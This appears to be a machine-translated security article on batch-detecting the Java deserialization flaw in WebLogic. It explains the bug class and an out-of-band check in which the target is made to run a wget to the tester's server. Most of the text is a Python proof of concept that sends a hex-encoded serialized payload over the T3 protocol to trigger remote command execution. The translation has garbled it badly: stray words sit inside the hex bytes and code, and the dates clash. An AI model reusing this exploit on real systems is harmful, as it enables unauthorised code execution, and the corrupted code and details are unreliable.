Java deserialization vulnerability batch Detection
Preface
Java deserialization vulnerabilities have appeared in people's field of view for a while. The Rubik's Cube security team has reproduced this vulnerability and developed a highly accurate batch detection idea, I would like to share this with you in the security circle.
Background
On July 6, November 6, 2015, @ breenmachine of FoxGlove Security team published a blog about how to exploit the Java deserialization vulnerability, attackers can attack the latest Java applications WebLogic, WebSphere, JBoss, Jenkins, and OpenNMS to execute code remotely.
In fact, as early as 2015 in January 28, foreign security researchers Gabriel Lawrence and Chris Frohoff gave a report on AppSecCali.
It has been pointed out that the Java deserialization vulnerability can be exploited to execute arbitrary code using Apache Commons Collections, a common Java library.
Java deserialization vulnerability Overview
Serialization refers to converting an object into word throttling, which is easy to store in memory, files, and databases. deserialization refers to the inverse process, which is restored from byte streams to objects. The writeObject () method of the ObjectOutputStream class in Java can be serialized. The readObject () method of the ObjectInputStream class is used for deserialization. The following is a sample code that serializes A String object, stores it to a local file, and then recovers it through deserialization:
Public static void main (String args []) throws Exception {String obj = "hello world! "; // Write the serialized object to the file object. fileOutputStream fos = new FileOutputStream ("object. db "); ObjectOutputStream OS = new ObjectOutputStream (fos); OS. writeObject (obj); OS. close (); // slave object. read data in db FileInputStream fiis = new FileInputStream ("object. db "); ObjectInputStream ois = new ObjectInputStream (FCM); // restore object obj String obj2 = (String) ois through deserialization. readObject (); ois. close ();}
The problem is that if a Java application deserializes user input (that is, untrusted data), attackers can construct malicious input to generate unexpected objects in deserialization, unexpected objects may cause arbitrary code execution during generation.
The root cause of this problem is that the class ObjectInputStream does not limit the type of the generated object during deserialization. If deserialization is enabled, you can set a Java-type whitelist, the impact of the problem is much smaller.
The principles of this vulnerability will not be described in detail in this article. For details, refer to the detailed principles of this vulnerability published by changting Technology in early November: What about Lib? Analysis on general exploitation of Java deserialization Vulnerabilities
Vulnerability Detection
Detection tools
Currently, tools have been developed to exploit this vulnerability, including ysoserial compiled by foreign researchers and serial. jar compiled by domestic researchers, which can generate payload attacks.
Detection ideas
Topology:
Currently, no method can be used to directly display the returned results. Therefore, we have used a third-party method to Perform Batch checks, the detection server sends payload to the detected host. The monitored host executes remote commands to access the Web Service opened by the test server. Then, log on to the test server to view the Web access log of the test server, check whether the IP address of the monitored host is in the log file and whether the IP address of the monitored host exists in the server log. Then, confirm that the monitored host has executed the command and has a vulnerability.
This test takes Weblogic as an example. The tool is used to generate payload. The command executed in payload is
Wget http://x.x.x.x/libreversex.html
X. x builds the IP address of the test server for receiving the wget command.
Then, use the POC outside China to modify it, add the remote server log to the Code, and match the IP address in the log to read the access log of the target server. We use a technique, make a hard link to the Web access log of the target server to the Web directory, so that you can read the Web log remotely and check whether the IP address has a security vulnerability:
Running result:
During the batch detection process, we found that only 7001 of the websites had this security vulnerability, and port 80 of some websites also had this vulnerability, this vulnerability exists in all ports that accept the T3 protocol.
Detection Method Summary
Advantages:
This detection method performs detection directly by executing commands and viewing execution results, with high accuracy.
Disadvantages:
1. If the Intranet firewall prohibits internal hosts from actively accessing the outside, it will not be able to be detected, so there may be a possibility of omission.
2. The wget command is unavailable for windows hosts.
Test code for Detection
The following is the POC of WebLogic, using the BBT framework:
#! /Usr/bin/env python # coding = UTF-8 import socketimport sysimport requestsimport base64import stringimport urlparseimport osimport timeimport requests from baseframe import BaseFrame class MyPoc (BaseFrame ): poc_info = {# poc related information 'poc ': {'id': 'poc-2015-1113', 'name': 'java deserialization vulnerability weblogic ', 'author ': 'vicky', 'create _ date': '2017-11-13 ',}, # protocol related information 'protocol': {'name':' * ', 'Port ': ['*'], 'layer4 _ Protocol': ['tcp '],}, # vulnerability related information 'vul': {'app _ name': 'java ', 'vul _ version': ['*'], 'type': 'remote command execute ', 'tag': ['java deserialization vulnerability', 'remote command execute ', 'weblogic '], 'desc': '''java deserialization vulnerability allows remote execution of arbitrary objects, in combination with Java deserialization in weblogic, jenkins systems can remotely execute the command ''', 'references ':[' http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rdd ',],},} Def _ init_user_parser (self): self. user_parser.add_option ('-p',' -- port', action = 'store', dest = 'Port', type = 'int', default = 6379, help = 'this poc need the port to connect redis 'the default port is 6379. ') @ classmethod def verify (cls, args): ip = args ['options'] ['target'] port = args ['options'] ['Port'] socket. setdefatimetimeout (5) payload = '\ x00 \ x00 \ x09 \ xfc \ x01 \ x65 \ x01 \ xff \ x00 \ x00 \ x00 \ x71 \ x00 \ x00 \ xea \ x60 \ x00 \ x00 \ x00 \ x18 \ x43 \ x2e \ xc6 \ xa2 \ xa6 \ x39 \ x85 \ xb5 \ xaf \ x7d \ x63 \ xe6 \ x43 \ x83 \ xf4 \ x2a \ x6d \ x92 \ xc9 \ xe9 \ xaf \ x0f \ x94 \ x72 \ x02 \ x79 \ x73 \ x72 \ x00 \ x78 \ x72 \ x72 \ x01 \ x78 \ x72 \ x02 \ x78 \ cross \ x00 \ x00 \ x00 \ x0c \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ cross-client \ cross 00 \ x00 \ x00 \ x0c \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x86 \ x06 \ xfe \ x01 \ x00 \ x00 \ x00 \ xac \ xed \ x00 \ x05 \ x73 \ x72 \ x00 \ x1d \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x72 \ x6a \ x76 \ x6d \ x2e \ x43 \ x6c \ x61 \ x73 \ x73 \ x54 \ x61 \ x62 \ x6c \ x65 \ x45 \ x6e \ x74 \ x72 \ x79 \ x2f \ x52 \ x65 \ x81 \ x57 \ xf4 \ xf9 \ xed \ x0c \ x00 \ x00 \ x78 \ x72 \ x00 \ x24 \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x63 \ x6f \ x6d \ x6d \ x6f \ x6e \ x2e \ x69 \ x6e \ x74 \ x65 \ x72 \ x6e \ x61 \ x6c \ x2e \ x50 \ x61 \ x63 \ x6b \ x61 \ x67 \ x65 \ x49 \ x6e \ x66 \ x6f \ xe6 \ xf7 \ x23 \ xe7 \ xb8 \ xae \ x1e \ xc9 \ x02 \ x00 \ x09 \ x49 \ x00 \ x05 \ x6d \ x61 \ x6a \ x6f \ x72 \ x49 \ x00 \ x05 \ x6d \ x69 \ x6e \ x6f \ x72 \ x49 \ x00 \ x0b \ cross \ x61 \ x74 \ x63 \ x68 \ x55 \ cross V \ x64 \ x61 \ x74 \ x65 \ x49 \ x00 \ x0c \ x72 \ x6f \ x6c \ x6c \ x69 \ x6e \ x67 \ x50 \ x61 \ x74 \ x63 \ x68 \ x49 \ x00 \ x0b \ x73 \ x65 \ x72 \ x76 \ x69 \ x63 \ x65 \ x50 \ x61 \ x63 \ x6b \ x5a \ x00 \ x0e \ x74 \ x65 \ x6d \ cross \ x6f \ x72 \ x61 \ x72 \ x79 \ x50 \ x61 \ x74 \ x63 \ x68 \ x4c \ x00 \ x09 \ x69 \ x6d \ x6c \ x54 \ x69 \ x74 \ x6c \ x65 \ x74 \ x00 \ x12 \ x4c \ x6a \ x61 \ x76 \ x61 \ x2f \ x6c \ x61 \ x6e \ x67 \ x2f \ x53 \ x74 \ x72 \ x69 \ x6e \ x67 \ x3b \ x4c \ x00 \ x0a \ x69 \ x6d \ x86 \ x6c \ x56 \ x65 \ x6e \ x64 \ x6f \ x72 \ x71 \ x00 \ x7e \ x00 \ x03 \ x4c \ x00 \ x0b \ x69 \ x6d \ cross city \ x6c \ x56 \ x65 \ x72 \ x73 \ x69 \ x6f \ x6e \ x71 \ x00 \ x7e \ x00 \ x03 \ x78 \ x77 \ x02 \ x00 \ x00 \ x78 \ xfe \ x01 \ x00 \ x00 try: sock = socket. socket (socket. AF_INET, socket. SOCK_STREAM) server_address = (ip, int (port) headers = 't3 12.2.1 \ nAS: 255 \ lymphoma: 19 \ nMS: 10000000 \ nPU: t3: // us-l-breens: 7001 \ n \ n' sock. connect (server_address) sock. sendall (headers) data = sock. recv (1024) failed t Exception, e: return args if "HELO" in data: try: payloadObj = open ("serial. wget "). read () payload = payload + payloadObj payload = payload + '\ xfe \ x01 \ x00 \ x00 \ xac \ xed \ x00 \ x05 \ x73 \ x72 \ x00 \ x1d \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x72 \ x6a \ x76 \ x6d \ x2e \ x43 \ x6c \ x61 \ x73 \ x73 \ x54 \ x61 \ x62 \ x6c \ x65 \ x45 \ x6e \ x74 \ x72 \ x79 \ x2f \ x52 \ x65 \ x81 \ x57 \ xf4 \ xf9 \ xed \ x0c \ x00 \ x00 \ x78 \ Xi \ x72 \ x00 \ x21 \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x63 \ x6f \ x6d \ x6d \ x6f \ x6e \ x2e \ x69 \ x6e \ x74 \ x65 \ x72 \ x6e \ x61 \ x6c \ x2e \ x50 \ x65 \ x65 \ x72 \ x49 \ x6e \ x66 \ x6f \ x58 \ x54 \ x74 \ xf3 \ x9b \ xc9 \ x08 \ xf1 \ x02 \ x00 \ x07 \ x49 \ x00 \ x05 \ x6d \ x61 \ x6a \ x6f \ x72 \ x49 \ x00 \ x05 \ x6d \ x69 \ x6e \ x6f \ x72 \ x49 \ x00 \ x0b \ cross client \ x61 \ x74 \ x63 \ x68 \ x55 \ cross client \ x64 \ x61 \ x74 \ x65 \ x49 \ x00 \ x0c \ x72 \ x6f \ x6c \ x6c \ x69 \ x6e \ x67 \ x50 \ x61 \ x74 \ x63 \ x68 \ x49 \ x00 \ x0b \ x73 \ x65 \ x72 \ x76 \ x69 \ x63 \ x65 \ x50 \ x61 \ x63 \ x6b \ x5a \ x00 \ x0e \ x74 \ x65 \ x6d \ cross 7 \ x6f \ x72 \ x61 \ x72 \ x79 \ x50 \ x61 \ x74 \ x63 \ x68 \ x5b \ x00 \ x08 \ x61 \ x61 \ x63 \ x6b \ x61 \ x67 \ x65 \ x73 \ x74 \ x00 \ x27 \ x5b \ x4c \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2f \ x63 \ x6f \ x6d \ x6d \ x6f \ x6e \ x2f \ x69 \ x6e \ x74 \ x65 \ x72 \ x6e \ x61 \ x6c \ x2f \ x50 \ x61 \ x63 \ x6b \ x61 \ x67 \ x65 \ x49 \ x6e \ x66 \ x6f \ x3b \ x78 \ x72 \ x00 \ x24 \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x63 \ x6f \ x6d \ x6d \ x6f \ x6e \ x2e \ x69 \ x6e \ x74 \ x65 \ x72 \ x6e \ x61 \ x6c \ x2e \ x56 \ x65 \ x72 \ x73 \ x69 \ x6f \ x6e \ x49 \ x6e \ x66 \ x6f \ x97 \ x22 \ x45 \ x51 \ x64 \ x52 \ x46 \ x3e \ x02 \ x00 \ x03 \ x5b \ x00 \ x08 \ x61 \ x63 \ x6b \ x61 \ x67 \ x65 \ x73 \ x71 \ x00 \ x7e \ x00 \ x03 \ x4c \ x00 \ x0e \ x72 \ x65 \ x6c \ x65 \ x61 \ x73 \ x65 \ x56 \ x65 \ x72 \ x73 \ x69 \ x6f \ x6e \ x74 \ x00 \ x12 \ x4c \ x6a \ x61 \ x76 \ x61 \ x2f \ x6c \ x61 \ x6e \ x67 \ x2f \ x53 \ x74 \ x72 \ x69 \ x6e \ x67 \ x3b \ x5b \ x00 \ x12 \ x76 \ x65 \ x72 \ x73 \ x69 \ x6f \ x6e \ x49 \ x6e \ x66 \ x6f \ x41 \ x73 \ x42 \ x79 \ x74 \ x65 \ x73 \ x74 \ x00 \ x02 \ x5b \ x42 \ x78 \ x72 \ x00 \ x24 \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x63 \ x6f \ x6d \ x6d \ x6f \ x6e \ x2e \ x69 \ x6e \ x74 \ x65 \ x72 \ x6e \ x61 \ x6c \ x2e \ x50 \ x61 \ x63 \ x6b \ x61 \ x67 \ x65 \ x49 \ x6e \ x66 \ x6f \ xe6 \ xf7 \ x23 \ xe7 \ xb8 \ xae \ x1e \ xc9 \ x02 \ x00 \ x09 \ x49 \ x00 \ x05 \ x6d \ x61 \ x6a \ x6f \ x72 \ x49 \ x00 \ x05 \ x6d \ x69 \ x6e \ x6f \ x72 \ x49 \ x00 \ x0b \ x61 \ x74 \ x63 \ x68 \ x55 \ cross client \ x64 \ x61 \ x74 \ x65 \ x49 \ x00 \ x0c \ x72 \ x6f \ x6c \ x6c \ x69 \ x6e \ x67 \ x50 \ x61 \ x74 \ x63 \ x68 \ x49 \ x00 \ x0b \ x73 \ x65 \ x72 \ x76 \ x69 \ x63 \ x65 \ x50 \ x61 \ x63 \ x6b \ x5a \ x00 \ x0e \ x74 \ x65 \ x6d \ cross \ x6f \ x72 \ x61 \ x72 \ x79 \ x50 \ x61 \ x74 \ x63 \ x68 \ x4c \ x00 \ x09 \ x69 \ x6d \ cross-host \ x6c \ x54 \ x69 \ x74 \ x6c \ x65 \ x71 \ x00 \ x7e \ x00 \ x05 \ x4c \ x00 \ x0a \ x69 \ x6d \ cross city \ x6c \ x56 \ x65 \ x6e \ x64 \ x6f \ x72 \ x71 \ x00 \ x7e \ x00 \ x05 \ x4c \ x00 \ x0b \ x69 \ x6d \ x86 \ x6c \ x56 \ x65 \ x72 \ x73 \ x69 \ x6f \ x6e \ x71 \ x00 \ x7e \ x00 \ x05 \ x78 \ x77 \ x02 \ x00 \ x00 \ x78 \ xfe \ x00 \ xff \ xfe \ x01 \ x00 \ x00 \ xac \ xed \ x00 \ x05 \ x73 \ x72 \ x00 \ x13 \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x72 \ x6a \ x76 \ x6d \ x2e \ x4a \ x56 \ x4d \ x49 \ x44 \ xdc \ x49 \ xc2 \ x3e \ xde \ x12 \ x1e \ x2a \ x0c \ x00 \ x00 \ x78 \ cross 7 \ x77 \ x46 \ x21 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x09 \ x31 \ x32 \ x37 \ x2e \ x30 \ x2e \ x31 \ x2e \ x31 \ x00 \ x0b \ x75 \ x73 \ x2d \ x6c \ x2d \ x62 \ x72 \ x65 \ x65 \ x6e \ x73 \ xa5 \ x3c \ xaf \ xf1 \ x00 \ x00 \ x00 \ x07 \ x00 \ x00 \ x1b \ x59 \ xff \ xff \ x00 \ x78 \ xfe \ x01 \ x00 \ x00 \ xac \ xed \ x00 \ x05 \ x73 \ x72 \ x00 \ x13 \ x77 \ x65 \ x62 \ x6c \ x6f \ x67 \ x69 \ x63 \ x2e \ x72 \ x6a \ x76 \ x6d \ x2e \ x4a \ x56 \ x4d \ x49 \ x44 \ xdc \ x49 \ xc2 \ x3e \ xde \ x12 \ x1e \ x2a \ x0c \ x00 \ x00 \ x78 \ cross 7 \ x77 \ x1d \ x01 \ x81 \ x40 \ x12 \ x81 \ x34 \ xbf \ x42 \ x76 \ x00 \ x09 \ x31 \ x32 \ x37 \ x2e \ x30 \ x2e \ x31 \ x2e \ x31 \ xa5 \ x3c \ xaf \ xf1 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x78 'sock. send (payload) time. sleep (10) data = requests. get (' http://IP:PORT/log.log ') If data. content. count (str (ip)> 0: args ['success'] = True args ['poc _ ret '] ['IP'] = ip args ['poc _ ret'] ['Port'] = port except T Exception, e: return args exploit = verifyif _ name _ = '_ main _': from pprint import pprint mp = MyPoc () pprint (mp. run ())